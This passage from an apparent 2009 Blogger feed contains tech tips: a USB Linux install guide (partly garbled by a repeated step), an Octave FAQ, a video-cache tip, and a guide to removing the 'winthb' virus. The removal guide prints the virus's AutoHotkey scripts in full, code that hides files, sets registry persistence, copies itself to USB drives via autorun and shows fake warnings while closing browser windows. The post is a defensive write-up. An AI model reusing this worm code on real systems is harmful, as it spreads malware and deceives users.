href="ftp://ftp.kernel.org/pub/linux/utils/boot/syslinux/syslinux-3.82.tar.gz"&gt;download&lt;/a&gt; the syslinux&lt;br /&gt;&lt;br /&gt;2)&lt;a href="ftp://ftp.is.co.za/linux/distributions/damnsmall/current/dsl-4.4.10-embedded.zip"&gt;download&lt;/a&gt; the dsl-xxxx.embedded.zip file&lt;br /&gt;&lt;br /&gt;3)extract the syslinux-3.82.tar.gz file to a folder named syslinux or whatever&lt;br /&gt;&lt;br /&gt;4)take the command prompt in the windows and goto the syslinux/win32/ directory&lt;br /&gt;&lt;br /&gt;5)run the command win325)run the command win325)run the command win325)run the command win325)run the command win325)run the command win325)run the command win325)run the command win32$&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;syslinux -ma [usbdevicedrive letter]:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;6)extract the dsl-xxxx.embedded.zip file to the usb device&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;7)reboot the system and press enter when the boot: .. screen appears&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;!!!1enjoy!!!!&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-748925477369206342?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/aV31XJqiO5Om1pkPBVl15I7u158/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/aV31XJqiO5Om1pkPBVl15I7u158/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/aV31XJqiO5Om1pkPBVl15I7u158/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/aV31XJqiO5Om1pkPBVl15I7u158/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/5pr3w9cU6q0" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/5pr3w9cU6q0/how-to-install-portable-damn-small.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2009/06/how-to-install-portable-damn-small.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-7074156739597914436</guid><pubDate>Sat, 13 Jun 2009 18:06:00 +0000</pubDate><atom:updated>2009-07-09T11:09:10.296-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">octave</category><title>Ocatve-An alternative to MATLAB</title><description>&lt;h3&gt;Some FAQs&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;* It is one of the &lt;a href="http://www.fsf.org/campaigns/priority.html#gnuoctave"&gt;High Priority Free Software Projects in GNU&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;* Creator- John W. Eaton&lt;br /&gt;&lt;br /&gt;* Octave became GNU Octave in 1997 (beginning with version 2.0.6)&lt;br /&gt;&lt;br /&gt;* Gnu octave - Free software (GPL)&lt;br /&gt;&lt;br /&gt;* Documentation- http://www.octave.org/docs.html&lt;br /&gt;&lt;br /&gt;* Qt octave is a GUI for Gnu octave&lt;br /&gt;&lt;br /&gt;* Convenient command line interface for solving linear and non linear problems numerically&lt;br /&gt;&lt;br /&gt;* Prototyping, numerical experiments etc&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Octave As An Analysis Tool&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;* Solving numerical linear algebra problems&lt;br /&gt;&lt;br /&gt;* Finding the roots of nonlinear equations&lt;br /&gt;&lt;br /&gt;* Integrating ordinary functions&lt;br /&gt;&lt;br /&gt;* Manipulating polynomials&lt;br /&gt;&lt;br /&gt;* Integrating ordinary differential and differential-algebraic equations&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Ocatve As A System Simulation Tool&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;* Control Theory&lt;br /&gt;&lt;br /&gt;* Signal Processing&lt;br /&gt;&lt;br /&gt;* Image Processing&lt;br /&gt;&lt;br /&gt;* Audio Processing&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Octave As A Computational Engine&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;* Programmable&lt;br /&gt;&lt;br /&gt;* Easily Extendible&lt;br /&gt;&lt;br /&gt;* Graphical Comparison Tool&lt;br /&gt;&lt;br /&gt;Want to learn octave &lt;a href="http://kappithan.blogspot.com"&gt;visit octave tutorial&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;for octave graphical program examples goto &lt;a href="http://yapso.sourceforge.net/demo/demo.html"&gt;octave graphical programs&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-7074156739597914436?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/EwDA1OjcVNldASY2hUbvkGUJTic/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/EwDA1OjcVNldASY2hUbvkGUJTic/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/EwDA1OjcVNldASY2hUbvkGUJTic/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/EwDA1OjcVNldASY2hUbvkGUJTic/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/VZ0pL9sYZJI" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/VZ0pL9sYZJI/octave.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2009/06/octave.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-7395798175024353982</guid><pubDate>Thu, 28 May 2009 10:57:00 +0000</pubDate><atom:updated>2009-05-28T04:53:59.021-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">windows</category><title>Download videos from youtube, daily motion etc without any softwares</title><description>Save ur valuable usage, if u use a limited connection. Go to the web site, u need to down load the video, view the video completely and after viewing dont close the browser. &lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;For Internet explorer&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Go to the folder given below &lt;/div&gt;&lt;div&gt;windows installation directory:\Documents and Settings\user\Local Settings\Temporary Internet Files\ &lt;/div&gt;&lt;div&gt;Here u can find the file cached.You can copy the file by just viewing the size of the file and copying the file to another folder.opening the file may ask a question like this &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_XTElFWnvKxw/Sh5yCVfY8gI/AAAAAAAAAZk/XyXI8BoNpSA/s1600-h/untitled.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 138px;" src="http://2.bp.blogspot.com/_XTElFWnvKxw/Sh5yCVfY8gI/AAAAAAAAAZk/XyXI8BoNpSA/s320/untitled.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5340831592562094594" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;so copy that file to another folder and open from there&lt;br /&gt;rename the file as u wish&lt;br /&gt;!!!!!!!!!!!!!! Booom u have done with the download process &lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;For Mozilla firefox&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Windows installation directory :\Documents and Settings\user\Local Settings\Application Data\Mozilla\Firefox\Profiles\xqfqfvde.default\Cache\ &lt;br /&gt;&lt;/div&gt;&lt;div&gt;Here u can find the file cached.You can copy the file by just viewing the size of the file and copying the file to another folder.&lt;br /&gt;&lt;/div&gt;&lt;div&gt;there u are &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-7395798175024353982?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/I_Y8ogvNn_LAuZ75ZvS_ZAIhomI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/I_Y8ogvNn_LAuZ75ZvS_ZAIhomI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/I_Y8ogvNn_LAuZ75ZvS_ZAIhomI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/I_Y8ogvNn_LAuZ75ZvS_ZAIhomI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/pAYTNlSPuK0" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/pAYTNlSPuK0/download-videos-from-youtube-etc.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_XTElFWnvKxw/Sh5yCVfY8gI/AAAAAAAAAZk/XyXI8BoNpSA/s72-c/untitled.JPG" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2009/05/download-videos-from-youtube-etc.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-6432447706502738263</guid><pubDate>Mon, 26 Jan 2009 10:25:00 +0000</pubDate><atom:updated>2009-01-26T03:36:35.995-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">winthb</category><title>How to remove virus winthb also win.exe and avgs.exe</title><description>&lt;div style="text-align: justify;"&gt;winthb is a virus program recently came to my system from a usb flash device. It hides the hidden folders completely and copies the autorun.inf file to c: drive and reproduces it whenever we delete that.The icon of the c: drive changes to something like below&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_XTElFWnvKxw/SX2Qkr--aII/AAAAAAAAAZQ/fTms20F20Io/s1600-h/logo.jpg"&gt;&lt;img style="text-align: justify;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 200px; height: 200px; " src="http://4.bp.blogspot.com/_XTElFWnvKxw/SX2Qkr--aII/AAAAAAAAAZQ/fTms20F20Io/s320/logo.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5295547696814123138" /&gt;&lt;/a&gt;&lt;div style="text-align: justify;"&gt;The virus program also has the &lt;span class="Apple-style-span"  style="font-size:x-large;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;symptoms&lt;/span&gt;&lt;/span&gt; listed below,&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;1. when we try to search orkut in google, it will display an error message " WARNING,orkut is sending viruses to your pc. To protect your pc close this window ,orkut is infected by jammer worm " also it will play a music . (win.mp3)&lt;/div&gt;&lt;div style="text-align: justify;"&gt;2. when we try youtube ,WARNING,Dangerous script send by youtube, Windows system files damage if this script run&lt;/div&gt;&lt;div style="text-align: justify;"&gt;3.In my system mozilla firefox was disabled when the thb fellow came ,anyway the firefox showed "File missing,TCP/IP module Missing from npqtplugin4.dll. it may infected by virus"&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 153, 0);"&gt;&lt;span class="Apple-style-span"  style="font-size:x-large;"&gt;How to remove winthb virus&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;take start&gt;run&gt;enter temp&lt;/div&gt;&lt;div style="text-align: justify;"&gt;clear the directory&lt;/div&gt;&lt;div style="text-align: justify;"&gt;also run %temp &lt;/div&gt;&lt;div style="text-align: justify;"&gt;clear that also&lt;/div&gt;&lt;div style="text-align: justify;"&gt;As a first step when u boot into windows press ALT+CTRL+DEL.Stop the process win.exe and avgs.exe if they are running.Goto run type regedit(enter).Then the registry editor window will come.[1]Goto HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue will be made 0 by the program make it 1.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Now all the hidden files will be available. Goto Tools&gt;folderoptions&gt;view&gt;show all hidden files.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Now search for avgs.exe in the windows search engine.If there is a file available in the search loacte its path.&lt;span class="Apple-style-span" style="color: rgb(0, 0, 153);"&gt;Do not double click on any drives to get into them because most of the viruses get into system when we double click on the drive by running the autorun.inf file.&lt;/span&gt;If we have to , do a adreess bar opening .I got the fellows from my C:\windows\system32\win.dll\&lt;/div&gt;&lt;div style="text-align: justify;"&gt;the folder icon for win.dll was not appearing as a usual folder icon it was the icon for dll files and also it was hidden. So please do not run any virus while doing these.If u do so u wont see the hidden files. In this case u have to do the [1].FInd the folder and delete it. Find any file named win.exe ,avgs.exe,.The folder C:\windows\system32\win.dll\ contained some files named &lt;/div&gt;&lt;div style="text-align: justify;"&gt;win.exe&lt;/div&gt;&lt;div style="text-align: justify;"&gt;avgs.exe&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Desktop.ini&lt;/div&gt;&lt;div style="text-align: justify;"&gt;std.txt&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Drivelist.txt&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Icon.ico&lt;/div&gt;&lt;div style="text-align: justify;"&gt;reproduce.txt&lt;/div&gt;&lt;div style="text-align: justify;"&gt;win.mp3&lt;/div&gt;&lt;div style="text-align: justify;"&gt;thb.ico&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Dll.ico&lt;/div&gt;&lt;div style="text-align: justify;"&gt;script1.txt&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_XTElFWnvKxw/SX2asNytg8I/AAAAAAAAAZY/UvdyMWRZ0GY/s1600-h/shot1.jpg"&gt;&lt;img style="text-align: justify;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 320px; height: 169px; " src="http://1.bp.blogspot.com/_XTElFWnvKxw/SX2asNytg8I/AAAAAAAAAZY/UvdyMWRZ0GY/s320/shot1.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5295558821264851906" /&gt;&lt;/a&gt;&lt;div style="text-align: justify;"&gt;The virus script looks like the one below,&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(204, 0, 0);"&gt;std.txt&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;#notrayicon&lt;/div&gt;&lt;div&gt;#singleinstance,ignore&lt;/div&gt;&lt;div&gt;regread,regdata,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue&lt;/div&gt;&lt;div&gt;ifnotequal,regdata,0&lt;/div&gt;&lt;div&gt; regwrite,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue,0&lt;/div&gt;&lt;div&gt;Run D:\RECYCLE\win.exe D:\RECYCLE\script1.txt&lt;/div&gt;&lt;div&gt;Run D:\RECYCLE\avgs.exe D:\RECYCLE\reproduce.txt&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;reproduce.txt&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;#notrayicon&lt;/div&gt;&lt;div&gt;#persistent&lt;/div&gt;&lt;div&gt;ArrayCount = 0&lt;/div&gt;&lt;div&gt;Loop, Read,D:\RECYCLE\driveList.txt&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;    ArrayCount += 1&lt;/div&gt;&lt;div&gt;    Array%ArrayCount% := A_LoopReadLine&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;dat1=%userprofile%&lt;/div&gt;&lt;div&gt;settimer,reproduce,5000&lt;/div&gt;&lt;div&gt;return&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;reproduce:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Loop %ArrayCount%&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;    element := Array%A_Index%&lt;/div&gt;&lt;div&gt;    driveget,data,Type,%element%:\&lt;/div&gt;&lt;div&gt;    ifequal,data,Removable&lt;/div&gt;&lt;div&gt;     {&lt;/div&gt;&lt;div&gt;     driveget,data1,status,%element%:\&lt;/div&gt;&lt;div&gt;      ifequal,data1,Ready&lt;/div&gt;&lt;div&gt;      {&lt;/div&gt;&lt;div&gt;        FileCopydir,D:\RECYCLE\reg.bkp,%element%:\,1&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;      }&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;     }&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;regread,regdata,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,winlogon&lt;/div&gt;&lt;div&gt;ifnotequal,regdata,D:\RECYCLE\win.exe D:\RECYCLE\std.txt&lt;/div&gt;&lt;div&gt;Regwrite,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,winlogon,D:\RECYCLE\win.exe D:\RECYCLE\std.txt&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;ifnotexist,c:\thb.ico&lt;/div&gt;&lt;div&gt; ifnotexist,c:\autorun.inf&lt;/div&gt;&lt;div&gt;         filedelete,c:\autorun.inf&lt;/div&gt;&lt;div&gt;         Filecopy,C:\DOCUME~1\Ravi\LOCALS~1\Temp\winthb\thb.ico,c:\&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt; Filecopy,C:\DOCUME~1\Ravi\LOCALS~1\Temp\winthb\autorun.inf,c:\&lt;/div&gt;&lt;div&gt;return&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;script1.txt&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;#persistent&lt;/div&gt;&lt;div&gt;#notrayicon&lt;/div&gt;&lt;div&gt;settimer,ban,2000&lt;/div&gt;&lt;div&gt;return&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;ban:&lt;/div&gt;&lt;div&gt;WinGetActiveTitle, ed&lt;/div&gt;&lt;div&gt; ifinstring,ed,orkut&lt;/div&gt;&lt;div&gt;  {&lt;/div&gt;&lt;div&gt;   winclose %ed%&lt;/div&gt;&lt;div&gt;   soundplay,D:\RECYCLE\win.mp3&lt;/div&gt;&lt;div&gt;   msgbox,262160,WARNING,orkut is sending viruses to your pc. To protect your pc close this window `r`r                orkut is infected by jammer worm ,30&lt;/div&gt;&lt;div&gt;   return&lt;/div&gt;&lt;div&gt;  }&lt;/div&gt;&lt;div&gt; ifinstring,ed,youtube&lt;/div&gt;&lt;div&gt;  {&lt;/div&gt;&lt;div&gt;   winclose %ed%&lt;/div&gt;&lt;div&gt;   soundplay,D:\RECYCLE\win.mp3&lt;/div&gt;&lt;div&gt;   msgbox,262160,WARNING,Dangerous script send by youtube, Windows system files damage if this script run`r`r&lt;/div&gt;&lt;div&gt;   return&lt;/div&gt;&lt;div&gt;  }&lt;/div&gt;&lt;div&gt; ifinstring,ed,Mozilla Firefox&lt;/div&gt;&lt;div&gt;  {&lt;/div&gt;&lt;div&gt;    winclose %ed%&lt;/div&gt;&lt;div&gt;    msgbox,262160,File missing,TCP/IP module Missing from npqtplugin4.dll. it may infected by virus  `r`r       ,30&lt;/div&gt;&lt;div&gt;    return&lt;/div&gt;&lt;div&gt;  }&lt;/div&gt;&lt;div&gt;ifwinactive ahk_class IEFrame&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt; ControlGetText,ed,edit1,ahk_class IEFrame&lt;/div&gt;&lt;div&gt; ifinstring,ed,orkut&lt;/div&gt;&lt;div&gt;  {&lt;/div&gt;&lt;div&gt;    winclose ahk_class IEFrame&lt;/div&gt;&lt;div&gt;    soundplay,D:\RECYCLE\win.mp3&lt;/div&gt;&lt;div&gt;    msgbox,262160,WARNING,orkut is sending viruses to your pc. To protect your pc close this window `r`r                orkut is infected by jammer worm ,30&lt;/div&gt;&lt;div&gt;    return&lt;/div&gt;&lt;div&gt;  }&lt;/div&gt;&lt;div&gt; ControlGetText,ed,edit2,ahk_class IEFrame&lt;/div&gt;&lt;div&gt; ifinstring,ed,orkut&lt;/div&gt;&lt;div&gt;  {&lt;/div&gt;&lt;div&gt;    winclose ahk_class IEFrame&lt;/div&gt;&lt;div&gt;    soundplay,D:\RECYCLE\win.mp3&lt;/div&gt;&lt;div&gt;    msgbox,262160,WARNING,orkut is sending viruses to your pc. To protect your pc close this window `r`r                orkut is infected by jammer worm ,30&lt;/div&gt;&lt;div&gt;     return&lt;/div&gt;&lt;div&gt;  }&lt;/div&gt;&lt;div&gt; ControlGetText,ed,edit3,ahk_class IEFrame&lt;/div&gt;&lt;div&gt; ifinstring,ed,orkut&lt;/div&gt;&lt;div&gt;  {&lt;/div&gt;&lt;div&gt;    winclose ahk_class IEFrame&lt;/div&gt;&lt;div&gt;    soundplay,D:\RECYCLE\win.mp3&lt;/div&gt;&lt;div&gt;   msgbox,262160,WARNING,orkut is sending viruses to your pc. To protect your pc close this window `r`r                orkut is infected by jammer worm ,30&lt;/div&gt;&lt;div&gt;    return&lt;/div&gt;&lt;div&gt;  }&lt;/div&gt;&lt;div&gt; ControlGetText,ed,edit4,ahk_class IEFrame&lt;/div&gt;&lt;div&gt; ifinstring,ed,orkut&lt;/div&gt;&lt;div&gt;  {&lt;/div&gt;&lt;div&gt;    winclose ahk_class IEFrame&lt;/div&gt;&lt;div&gt;    soundplay,D:\RECYCLE\win.mp3&lt;/div&gt;&lt;div&gt;    msgbox,262160,WARNING,orkut is sending viruses to your pc. To protect your pc close this window `r`r                orkut is infected by jammer worm ,30&lt;/div&gt;&lt;div&gt;    return&lt;/div&gt;&lt;div&gt;  }&lt;/div&gt;&lt;div&gt; ControlGetText,ed,edit1,ahk_class IEFrame&lt;/div&gt;&lt;div&gt; ifinstring,ed,youtube&lt;/div&gt;&lt;div&gt;  {&lt;/div&gt;&lt;div&gt;    winclose ahk_class IEFrame&lt;/div&gt;&lt;div&gt;    soundplay,D:\RECYCLE\win.mp3&lt;/div&gt;&lt;div&gt;    msgbox,262160,WARNING,Dangerous script send by youtube, Windows system files damage if this script run`r`r&lt;/div&gt;&lt;div&gt;    return&lt;/div&gt;&lt;div&gt;  }&lt;/div&gt;&lt;div&gt; ControlGetText,ed,edit2,ahk_class IEFrame&lt;/div&gt;&lt;div&gt; ifinstring,ed,youtube&lt;/div&gt;&lt;div&gt;  {&lt;/div&gt;&lt;div&gt;    winclose ahk_class IEFrame&lt;/div&gt;&lt;div&gt;    soundplay,D:\RECYCLE\win.mp3&lt;/div&gt;&lt;div&gt;    msgbox,262160,WARNING,Dangerous script send by youtube, Windows system files damage if this script run`r`r&lt;/div&gt;&lt;div&gt;     return&lt;/div&gt;&lt;div&gt;  }&lt;/div&gt;&lt;div&gt; ControlGetText,ed,edit3,ahk_class IEFrame&lt;/div&gt;&lt;div&gt; ifinstring,ed,youtube&lt;/div&gt;&lt;div&gt;  {&lt;/div&gt;&lt;div&gt;    winclose ahk_class IEFrame&lt;/div&gt;&lt;div&gt;    soundplay,D:\RECYCLE\win.mp3&lt;/div&gt;&lt;div&gt;   msgbox,262160,WARNING,Dangerous script send by youtube, Windows system files damage if this script run`r`r&lt;/div&gt;&lt;div&gt;    return&lt;/div&gt;&lt;div&gt;  }&lt;/div&gt;&lt;div&gt; ControlGetText,ed,edit4,ahk_class IEFrame&lt;/div&gt;&lt;div&gt; ifinstring,ed,youtube&lt;/div&gt;&lt;div&gt;  {&lt;/div&gt;&lt;div&gt;    winclose ahk_class IEFrame&lt;/div&gt;&lt;div&gt;    soundplay,D:\RECYCLE\win.mp3&lt;/div&gt;&lt;div&gt;    msgbox,262160,WARNING,Dangerous script send by youtube, Windows system files damage if this script run`r`r&lt;/div&gt;&lt;div&gt;    return&lt;/div&gt;&lt;div&gt;  }&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;return&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="color: rgb(68, 68, 68);   font-family:Arial;font-size:12px;"&gt;&lt;ul style="margin-top: 0px; margin-right: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; margin-bottom: 12px; position: relative; z-index: 99; "&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; font-size: 0.9em; line-height: 1.8em; padding-left: 20px; background-image: url(http://www.prevx.com/images2/fileinfoicon_fileactivity.gif); background-repeat: no-repeat; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: initial; background-position: 0% 50%; "&gt;Creates c:\windows\system32\win.dll\svchost.exe&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; font-size: 0.9em; line-height: 1.8em; padding-left: 20px; background-image: url(http://www.prevx.com/images2/fileinfoicon_fileactivity.gif); background-repeat: no-repeat; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: initial; background-position: 0% 50%; "&gt;create folder C:\WINDOWS\system32\win.dll&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; font-size: 0.9em; line-height: 1.8em; padding-left: 20px; background-image: url(http://www.prevx.com/images2/fileinfoicon_fileactivity.gif); background-repeat: no-repeat; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: initial; background-position: 0% 50%; "&gt;create folder C:\WINDOWS\system32\win.dll\reg.bkp&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; font-size: 0.9em; line-height: 1.8em; padding-left: 20px; background-image: url(http://www.prevx.com/images2/fileinfoicon_fileactivity.gif); background-repeat: no-repeat; background-attachment: initial; -webkit-background-clip: 